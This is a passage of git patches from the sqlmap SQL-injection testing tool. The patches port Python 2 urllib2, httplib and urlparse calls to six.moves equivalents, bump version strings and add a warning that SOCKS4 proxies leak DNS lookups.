http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html if conf.keepAlive: @@ -1133,8 +1133,8 @@ def _setHTTPHandlers(): else: handlers.append(keepAliveHandler) - opener = urllib2.build_opener(*handlers) - urllib2.install_opener(opener) + opener = _urllib.request.build_opener(*handlers) + _urllib.request.install_opener(opener) def _setSafeVisit(): """ @@ -1166,7 +1166,7 @@ def _setSafeVisit(): if value.endswith(":443"): scheme = "https" value = "%s://%s" % (scheme, value) - kb.safeReq.url = urlparse.urljoin(value, kb.safeReq.url) + kb.safeReq.url = _urllib.parse.urljoin(value, kb.safeReq.url) else: break @@ -1289,7 +1289,7 @@ def _setHTTPAuthentication(): conf.authUsername = aCredRegExp.group(1) conf.authPassword = aCredRegExp.group(2) - kb.passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm() + kb.passwordMgr = _urllib.request.HTTPPasswordMgrWithDefaultRealm() _setAuthCred() @@ -1297,7 +1297,7 @@ def _setHTTPAuthentication(): authHandler = SmartHTTPBasicAuthHandler(kb.passwordMgr) elif authType == AUTH_TYPE.DIGEST: - authHandler = urllib2.HTTPDigestAuthHandler(kb.passwordMgr) + authHandler = _urllib.request.HTTPDigestAuthHandler(kb.passwordMgr) elif authType == AUTH_TYPE.NTLM: try: @@ -1459,7 +1459,7 @@ def _setHostname(): if conf.url: try: - conf.hostname = urlparse.urlsplit(conf.url).netloc.split(':')[0] + conf.hostname = _urllib.parse.urlsplit(conf.url).netloc.split(':')[0] except ValueError as ex: errMsg = "problem occurred while " errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex)) @@ -1783,8 +1783,8 @@ def _cleanupEnvironment(): Cleanup environment (e.g. from leftovers after --sqlmap-shell). """ - if issubclass(urllib2.socket.socket, socks.socksocket): - socks.unwrapmodule(urllib2) + if issubclass(_http_client.socket.socket, socks.socksocket): + socks.unwrapmodule(_http_client) if hasattr(socket, "_ready"): socket._ready.clear() @@ -2312,11 +2312,11 @@ def _setTorSocksProxySettings(): # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29) socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, port) - socks.wrapmodule(urllib2) + socks.wrapmodule(_http_client) def _setHttpChunked(): if conf.chunked and conf.data: - httplib.HTTPConnection._set_content_length = lambda self, a, b: None + _http_client.HTTPConnection._set_content_length = lambda self, a, b: None def _checkWebSocket(): if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): diff --git a/lib/core/patch.py b/lib/core/patch.py index 6f8b862b164..4cb018051ea 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -6,9 +6,9 @@ """ import codecs -import httplib from lib.core.settings import IS_WIN +from thirdparty.six.moves import http_client as _http_client def dirtyPatches(): """ @@ -16,7 +16,7 @@ def dirtyPatches(): """ # accept overly long result lines (e.g. SQLi results in HTTP header responses) - httplib._MAXLINE = 1 * 1024 * 1024 + _http_client._MAXLINE = 1 * 1024 * 1024 # add support for inet_pton() on Windows OS if IS_WIN: diff --git a/lib/core/settings.py b/lib/core/settings.py index 2b1cb469ba6..5d9f5fc486d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.56" +VERSION = "1.3.3.57" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index ac88d8fed0f..fae71d2c010 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -12,7 +12,6 @@ import sys import tempfile import time -import urlparse from lib.core.common import Backend from lib.core.common import getSafeExString @@ -74,6 +73,7 @@ from lib.core.settings import XML_RECOGNITION_REGEX from lib.utils.hashdb import HashDB from thirdparty.odict import OrderedDict +from thirdparty.six.moves import urllib as _urllib def _setRequestParams(): """ @@ -276,7 +276,7 @@ def process(match, repl): if not kb.processUserMarks: if place == PLACE.URI: - query = urlparse.urlsplit(value).query + query = _urllib.parse.urlsplit(value).query if query: parameters = conf.parameters[PLACE.GET] = query paramDict = paramToDict(PLACE.GET, parameters) diff --git a/lib/core/threads.py b/lib/core/threads.py index 4dc39dd61c1..516cfb42d31 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -13,6 +13,7 @@ import time import traceback +from lib.core.compat import WichmannHill from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -57,7 +58,7 @@ def reset(self): self.lastRequestMsg = None self.lastRequestUID = 0 self.lastRedirectURL = None - self.random = random.WichmannHill() + self.random = WichmannHill() self.resumed = False self.retriesCount = 0 self.seqMatcher = difflib.SequenceMatcher(None) diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index 1ac1d9799d7..a3a1d2cd0d4 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -5,7 +5,6 @@ See the file 'LICENSE' for copying permission """ -import httplib import re from lib.core.common import readInput @@ -14,6 +13,7 @@ from lib.core.exception import SqlmapSyntaxException from lib.request.connect import Connect as Request from thirdparty.oset.pyoset import oset +from thirdparty.six.moves import http_client as _http_client abortedFlag = None @@ -30,7 +30,7 @@ def parseSitemap(url, retVal=None): try: content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" - except httplib.InvalidURL: + except _http_client.InvalidURL: errMsg = "invalid URL given for sitemap ('%s')" % url raise SqlmapSyntaxException(errMsg) diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index 0758f0fe899..a83e13478dd 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -5,15 +5,15 @@ See the file 'LICENSE' for copying permission """ -import urllib2 +from thirdparty.six.moves import urllib as _urllib -class SmartHTTPBasicAuthHandler(urllib2.HTTPBasicAuthHandler): +class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler): """ Reference: http://selenic.com/hg/rev/6c51a5056020 Fix for a: http://bugs.python.org/issue8797 """ def __init__(self, *args, **kwargs): - urllib2.HTTPBasicAuthHandler.__init__(self, *args, **kwargs) + _urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs) self.retried_req = set() self.retried_count = 0 @@ -30,8 +30,8 @@ def http_error_auth_reqed(self, auth_header, host, req, headers): self.retried_count = 0 else: if self.retried_count > 5: - raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None) + raise _urllib.error.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None) else: self.retried_count += 1 - return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers) + return _urllib.request.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers) diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py index 54d2f9aa999..740b5c846bc 100644 --- a/lib/request/chunkedhandler.py +++ b/lib/request/chunkedhandler.py @@ -5,37 +5,35 @@ See the file 'LICENSE' for copying permission """ -import urllib2 - from lib.core.data import conf +from thirdparty.six.moves import urllib as _urllib -class ChunkedHandler(urllib2.HTTPHandler): +class ChunkedHandler(_urllib.request.HTTPHandler): """ - Ensures that urllib2.HTTPHandler is working properly in case of Chunked Transfer-Encoding + Ensures that HTTPHandler is working properly in case of Chunked Transfer-Encoding """ def _http_request(self, request): host = request.get_host() if not host: - raise urllib2.URLError('no host given') + raise _urllib.error.URLError("no host given") if request.has_data(): # POST data = request.get_data() - if not request.has_header('Content-type'): + if not request.has_header("Content-type"): request.add_unredirected_header( - 'Content-type', - 'application/x-www-form-urlencoded') - if not request.has_header('Content-length') and not conf.chunked: + "Content-type", + "application/x-www-form-urlencoded") + if not request.has_header("Content-length") and not conf.chunked: request.add_unredirected_header( - 'Content-length', '%d' % len(data)) + "Content-length", "%d" % len(data)) sel_host = host if request.has_proxy(): - scheme, sel = urllib2.splittype(request.get_selector()) - sel_host, sel_path = urllib2.splithost(sel) + sel_host = _urllib.parse.urlsplit(request.get_selector()).netloc - if not request.has_header('Host'): - request.add_unredirected_header('Host', sel_host) + if not request.has_header("Host"): + request.add_unredirected_header("Host", sel_host) for name, value in self.parent.addheaders: name = name.capitalize() if not request.has_header(name): diff --git a/lib/request/connect.py b/lib/request/connect.py index c050a81b827..483767ad299 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -62,7 +62,6 @@ class WebSocketException(Exception): from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.decorators import stackedmethod -from lib.core.dicts import HTTP_RESPONSES from lib.core.dicts import POST_HINT_CONTENT_TYPES from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import AUTH_TYPE @@ -425,7 +424,7 @@ def getPage(**kwargs): page = ws.recv() ws.close() code = ws.status - status = HTTP_RESPONSES[code] + status = _http_client.responses[code] class _(dict): pass @@ -641,7 +640,7 @@ class _(dict): if ignoreTimeout: return None if not conf.ignoreTimeouts else "", None, None else: - warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, HTTP_RESPONSES[ex.code]) + warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, _http_client.responses[ex.code]) if threadData.retriesCount < conf.retries and not kb.threadException: warnMsg += ". sqlmap is going to retry the request" logger.critical(warnMsg) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 294f4ec79e3..1c66b993cfe 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -6,10 +6,8 @@ """ import distutils.version -import httplib import re import socket -import urllib2 from lib.core.common import getSafeExString from lib.core.data import conf @@ -17,6 +15,8 @@ from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.settings import PYVERSION +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib ssl = None try: @@ -27,7 +27,7 @@ _protocols = filter(None, (getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))) -class HTTPSConnection(httplib.HTTPSConnection): +class HTTPSConnection(_http_client.HTTPSConnection): """ Connection class that enables usage of newer SSL protocols. @@ -35,7 +35,7 @@ class HTTPSConnection(httplib.HTTPSConnection): """ def __init__(self, *args, **kwargs): - httplib.HTTPSConnection.__init__(self, *args, **kwargs) + _http_client.HTTPSConnection.__init__(self, *args, **kwargs) def connect(self): def create_sock(): @@ -63,7 +63,7 @@ def create_sock(): break else: sock.close() - except (ssl.SSLError, socket.error, httplib.BadStatusLine) as ex: + except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex: self._tunnel_host = None logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) @@ -83,7 +83,7 @@ def create_sock(): break else: sock.close() - except (ssl.SSLError, socket.error, httplib.BadStatusLine) as ex: + except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex: self._tunnel_host = None logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) @@ -94,14 +94,14 @@ def create_sock(): errMsg += " (please retry with Python >= 2.7.9)" raise SqlmapConnectionException(errMsg) -class HTTPSHandler(urllib2.HTTPSHandler): +class HTTPSHandler(_urllib.request.HTTPSHandler): def https_open(self, req): - return self.do_open(HTTPSConnection if ssl else httplib.HTTPSConnection, req) + return self.do_open(HTTPSConnection if ssl else _http_client.HTTPSConnection, req) # Bug fix (http://bugs.python.org/issue17849) def _(self, *args): return self._readline() -httplib.LineAndFileWrapper._readline = httplib.LineAndFileWrapper.readline -httplib.LineAndFileWrapper.readline = _ +_http_client.LineAndFileWrapper._readline = _http_client.LineAndFileWrapper.readline +_http_client.LineAndFileWrapper.readline = _ diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index 2568f94eb62..8fd679a3465 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -5,15 +5,15 @@ See the file 'LICENSE' for copying permission """ -import urllib2 +from thirdparty.six.moves import urllib as _urllib -class MethodRequest(urllib2.Request): +class MethodRequest(_urllib.request.Request): """ - Used to create HEAD/PUT/DELETE/... requests with urllib2 + Used to create HEAD/PUT/DELETE/... requests with urllib """ def set_method(self, method): self.method = method.upper() def get_method(self): - return getattr(self, 'method', urllib2.Request.get_method(self)) + return getattr(self, 'method', _urllib.request.Request.get_method(self)) diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index 612a452ea62..fe75e91a2f9 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -5,16 +5,15 @@ See the file 'LICENSE' for copying permission """ -import httplib -import urllib2 - from lib.core.data import conf from lib.core.common import getSafeExString from lib.core.exception import SqlmapConnectionException +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib -class HTTPSPKIAuthHandler(urllib2.HTTPSHandler): +class HTTPSPKIAuthHandler(_urllib.request.HTTPSHandler): def __init__(self, auth_file): - urllib2.HTTPSHandler.__init__(self) + _urllib.request.HTTPSHandler.__init__(self) self.auth_file = auth_file def https_open(self, req): @@ -23,7 +22,7 @@ def https_open(self, req): def getConnection(self, host, timeout=None): try: # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain - return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout) + return _http_client.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout) except IOError as ex: errMsg = "error occurred while using key " errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex)) diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index 2ab8fccfb35..70cbc016499 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -5,41 +5,19 @@ See the file 'LICENSE' for copying permission """ -import urllib -import urllib2 - from lib.core.exception import SqlmapConnectionException +from thirdparty.six.moves import urllib as _urllib -class HTTPRangeHandler(urllib2.BaseHandler): +class HTTPRangeHandler(_urllib.request.BaseHandler): """ Handler that enables HTTP Range headers. Reference: http://stackoverflow.com/questions/1971240/python-seek-on-remote-file - - This was extremely simple. The Range header is a HTTP feature to - begin with so all this class does is tell urllib2 that the - "206 Partial Content" response from the HTTP server is what we - expected. - - Example: - import urllib2 - import byterange - - range_handler = range.HTTPRangeHandler() - opener = urllib2.build_opener(range_handler) - - # install it - urllib2.install_opener(opener) - - # create Request and set Range header - req = urllib2.Request('https://www.python.org/') - req.header['Range'] = 'bytes=30-50' - f = urllib2.urlopen(req) """ def http_error_206(self, req, fp, code, msg, hdrs): # 206 Partial Content Response - r = urllib.addinfourl(fp, hdrs, req.get_full_url()) + r = _urllib.response.addinfourl(fp, hdrs, req.get_full_url()) r.code = code r.msg = msg return r diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 6c53c61c35e..7984768924d 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -8,8 +8,6 @@ import io import time import types -import urllib2 -import urlparse from lib.core.data import conf from lib.core.data import kb @@ -32,8 +30,9 @@ from lib.core.threads import getCurrentThreadData from lib.request.basic import decodePage from lib.request.basic import parseResponse +from thirdparty.six.moves import urllib as _urllib -class SmartRedirectHandler(urllib2.HTTPRedirectHandler): +class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): def _get_header_redirect(self, headers): retVal = None @@ -66,7 +65,7 @@ def _ask_redirect_choice(self, redcode, redurl, method): def _redirect_request(self, req, fp, code, msg, headers, newurl): newurl = newurl.replace(' ', '%20') - return urllib2.Request(newurl, data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host()) + return _urllib.request.Request(newurl, data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host()) def http_error_302(self, req, fp, code, msg, headers): start = time.time() @@ -109,8 +108,8 @@ def http_error_302(self, req, fp, code, msg, headers): if redurl: try: - if not urlparse.urlsplit(redurl).netloc: - redurl = urlparse.urljoin(req.get_full_url(), redurl) + if not _urllib.parse.urlsplit(redurl).netloc: + redurl = _urllib.parse.urljoin(req.get_full_url(), redurl) self._infinite_loop_check(req) self._ask_redirect_choice(code, redurl, req.get_method()) @@ -139,8 +138,8 @@ def http_error_302(self, req, fp, code, msg, headers): req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies) try: - result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) - except urllib2.HTTPError as ex: + result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) + except _urllib.error.HTTPError as ex: result = ex # Dirty hack for http://bugs.python.org/issue15701 diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 4eb9842fccc..72842f5a58f 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -10,7 +10,6 @@ import posixpath import re import tempfile -import urlparse from extra.cloak.cloak import decloak from lib.core.agent import agent @@ -52,6 +51,7 @@ from lib.core.settings import VIEWSTATE_REGEX from lib.request.connect import Connect as Request from thirdparty.oset.pyoset import oset +from thirdparty.six.moves import urllib as _urllib class Web: """ @@ -256,7 +256,7 @@ def webInit(self): directories.extend(getAutoDirectories()) directories = list(oset(directories)) - path = urlparse.urlparse(conf.url).path or '/' + path = _urllib.parse.urlparse(conf.url).path or '/' path = re.sub(r"/[^/]*\.\w+\Z", '/', path) if path != '/': _ = [] @@ -295,7 +295,7 @@ def webInit(self): for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) - self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) + self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) @@ -332,7 +332,7 @@ def webInit(self): for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) - self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) + self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) diff --git a/lib/utils/api.py b/lib/utils/api.py index 69cb3c05d57..04f93931e33 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -9,7 +9,6 @@ from __future__ import print_function import contextlib -import httplib import logging import os import re @@ -19,7 +18,6 @@ import sys import tempfile import time -import urllib2 from lib.core.common import dataToStdout from lib.core.common import getSafeExString @@ -57,6 +55,8 @@ from thirdparty.bottle.bottle import response from thirdparty.bottle.bottle import run from thirdparty.bottle.bottle import server_names +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib # Global data storage class DataStore(object): @@ -716,8 +716,8 @@ def _client(url, options=None): if DataStore.username or DataStore.password: headers["Authorization"] = "Basic %s" % base64encode("%s:%s" % (DataStore.username or "", DataStore.password or "")) - req = urllib2.Request(url, data, headers) - response = urllib2.urlopen(req) + req = _urllib.request.Request(url, data, headers) + response = _urllib.request.urlopen(req) text = response.read() except: if options: @@ -746,7 +746,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non try: _client(addr) except Exception as ex: - if not isinstance(ex, urllib2.HTTPError) or ex.code == httplib.UNAUTHORIZED: + if not isinstance(ex, _urllib.error.HTTPError) or ex.code == _http_client.UNAUTHORIZED: errMsg = "There has been a problem while connecting to the " errMsg += "REST-JSON API server at '%s' " % addr errMsg += "(%s)" % ex diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index e4414b95963..c44735f860e 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -5,10 +5,8 @@ See the file 'LICENSE' for copying permission """ -import httplib import os import re -import urlparse import tempfile import time @@ -34,6 +32,8 @@ from lib.request.connect import Connect as Request from thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup from thirdparty.oset.pyoset import oset +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib def crawl(target): try: @@ -70,7 +70,7 @@ def crawlThread(): except SqlmapSyntaxException: errMsg = "invalid URL detected. skipping '%s'" % current logger.critical(errMsg) - except httplib.InvalidURL as ex: + except _http_client.InvalidURL as ex: errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg) @@ -96,7 +96,7 @@ def crawlThread(): if href: if threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: current = threadData.lastRedirectURL[1] - url = urlparse.urljoin(current, href) + url = _urllib.parse.urljoin(current, href) # flag to know if we are dealing with the same target host _ = checkSameHost(url, target) @@ -135,7 +135,7 @@ def crawlThread(): if readInput(message, default='N', boolean=True): found = True items = None - url = urlparse.urljoin(target, "/sitemap.xml") + url = _urllib.parse.urljoin(target, "/sitemap.xml") try: items = parseSitemap(url) except SqlmapConnectionException as ex: diff --git a/lib/utils/har.py b/lib/utils/har.py index b060cd8a403..08b0464c7cf 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -8,7 +8,6 @@ import base64 import BaseHTTPServer import datetime -import httplib import io import re import time @@ -157,12 +156,12 @@ def parse(cls, raw): altered = status_line + "\r\n" + remain comment = first_line - response = httplib.HTTPResponse(FakeSocket(altered)) + response = _http_client.HTTPResponse(FakeSocket(altered)) response.begin() try: content = response.read(-1) - except httplib.IncompleteRead: + except _http_client.IncompleteRead: content = raw[raw.find("\r\n\r\n") + 4:].rstrip("\r\n") return cls(httpVersion="HTTP/1.1" if response.version == 11 else "HTTP/1.0", diff --git a/lib/utils/search.py b/lib/utils/search.py index 6ec5c04cae7..a4a0b7c9bb9 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -5,11 +5,8 @@ See the file 'LICENSE' for copying permission """ -import httplib import re import socket -import urllib -import urllib2 from lib.core.common import getSafeExString from lib.core.common import getUnicode @@ -34,6 +31,8 @@ from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import UNICODE_ENCODING from lib.request.basic import decodePage +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib from thirdparty.socks import socks def _search(dork): @@ -52,8 +51,8 @@ def _search(dork): headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE try: - req = urllib2.Request("https://www.google.com/ncr", headers=headers) - conn = urllib2.urlopen(req) + req = _urllib.request.Request("https://www.google.com/ncr", headers=headers) + conn = _urllib.request.urlopen(req) except Exception as ex: errMsg = "unable to connect to Google ('%s')" % getSafeExString(ex) raise SqlmapConnectionException(errMsg) @@ -67,11 +66,11 @@ def _search(dork): url += "&start=%d" % ((gpage - 1) * 100) try: - req = urllib2.Request(url, headers=headers) - conn = urllib2.urlopen(req) + req = _urllib.request.Request(url, headers=headers) + conn = _urllib.request.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url - requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str + requestMsg += " %s" % _http_client.HTTPException._http_vsn_str logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) page = conn.read() @@ -88,7 +87,7 @@ def _search(dork): responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - except urllib2.HTTPError as ex: + except _urllib.error.HTTPError as ex: try: page = ex.read() except Exception as _: @@ -96,11 +95,11 @@ def _search(dork): warnMsg += "an error page information (%s)" % getSafeExString(_) logger.critical(warnMsg) return None - except (urllib2.URLError, httplib.error, socket.error, socket.timeout, socks.ProxyError): + except (_urllib.error.URLError, _http_client.error, socket.error, socket.timeout, socks.ProxyError): errMsg = "unable to connect to Google" raise SqlmapConnectionException(errMsg) - retVal = [urllib.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)] + retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)] if not retVal and "detected unusual traffic" in page: warnMsg = "Google has detected 'unusual' traffic from " @@ -129,11 +128,11 @@ def _search(dork): regex = DUCKDUCKGO_REGEX try: - req = urllib2.Request(url, data=data, headers=headers) - conn = urllib2.urlopen(req) + req = _urllib.request.Request(url, data=data, headers=headers) + conn = _urllib.request.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url - requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str + requestMsg += " %s" % _http_client.HTTPException._http_vsn_str logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) page = conn.read() @@ -150,7 +149,7 @@ def _search(dork): responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - except urllib2.HTTPError as ex: + except _urllib.error.HTTPError as ex: try: page = ex.read() page = decodePage(page, ex.headers.get("Content-Encoding"), ex.headers.get("Content-Type")) @@ -163,7 +162,7 @@ def _search(dork): errMsg = "unable to connect" raise SqlmapConnectionException(errMsg) - retVal = [urllib.unquote(match.group(1).replace("&", "&")) for match in re.finditer(regex, page, re.I | re.S)] + retVal = [_urllib.parse.unquote(match.group(1).replace("&", "&")) for match in re.finditer(regex, page, re.I | re.S)] if not retVal and "issue with the Tor Exit Node you are currently using" in page: warnMsg = "DuckDuckGo has detected 'unusual' traffic from " diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index abff2cd7515..f712755c0b8 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -66,17 +66,6 @@ 'SubmitButtonControl', 'SubmitControl', 'TextControl', 'TextareaControl', 'XHTMLCompatibleFormParser'] -try: True -except NameError: - True = 1 - False = 0 - -try: bool -except NameError: - def bool(expr): - if expr: return True - else: return False - try: import logging import inspect @@ -792,7 +781,7 @@ def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): def feed(self, data): try: HTMLParser.HTMLParser.feed(self, data) - except HTMLParser.HTMLParseError, exc: + except HTMLParser.HTMLParseError as exc: raise ParseError(exc) def start_option(self, attrs): @@ -870,7 +859,7 @@ def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): def feed(self, data): try: sgmllib.SGMLParser.feed(self, data) - except SGMLLIB_PARSEERROR, exc: + except SGMLLIB_PARSEERROR as exc: raise ParseError(exc) def close(self): @@ -896,7 +885,7 @@ def handle_data(self, data): def feed(self, data): try: self.bs_base_class.feed(self, data) - except SGMLLIB_PARSEERROR, exc: + except SGMLLIB_PARSEERROR as exc: raise ParseError(exc) def close(self): self.bs_base_class.close(self) From 557da5dee44f3703d007a4d97d950c1210a72b5c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 27 Mar 2019 15:16:23 +0100 Subject: [PATCH 182/800] Bug fix (SOCKS4 patch) --- lib/core/option.py | 4 ++++ lib/core/settings.py | 2 +- thirdparty/socks/socks.py | 6 +++++- 3 files changed, 10 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index d1abc91428e..3c331d3d61e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1089,6 +1089,10 @@ def _setHTTPHandlers(): if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5): proxyHandler.proxies = {} + if scheme == PROXY_TYPE.SOCKS4: + warnMsg = "SOCKS4 does not support resolving (DNS) names (i.e. causing DNS leakage)" + singleTimeWarnMessage(warnMsg) + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password) socks.wrapmodule(_http_client) else: diff --git a/lib/core/settings.py b/lib/core/settings.py index 5d9f5fc486d..7f16089a809 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.57" +VERSION = "1.3.3.58" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/socks/socks.py b/thirdparty/socks/socks.py index 5924aaae857..ac6569dc94a 100644 --- a/thirdparty/socks/socks.py +++ b/thirdparty/socks/socks.py @@ -109,7 +109,11 @@ def wrapmodule(module): """ if _defaultproxy != None: module.socket.socket = socksocket - module.socket.create_connection = create_connection + if _defaultproxy[0] == PROXY_TYPE_SOCKS4: + # Note: unable to prevent DNS leakage in SOCKS4 (Reference: https://security.stackexchange.com/a/171280) + pass + else: + module.socket.create_connection = create_connection else: raise GeneralProxyError((4, "no proxy specified")) From ffad7ed5fce54a99d088eba4ae35d8337600846b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 27 Mar 2019 15:17:11 +0100 Subject: [PATCH 183/800] Fixes #3555 --- lib/core/compat.py | 161 +++++++++++++++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- 2 files changed, 162 insertions(+), 1 deletion(-) create mode 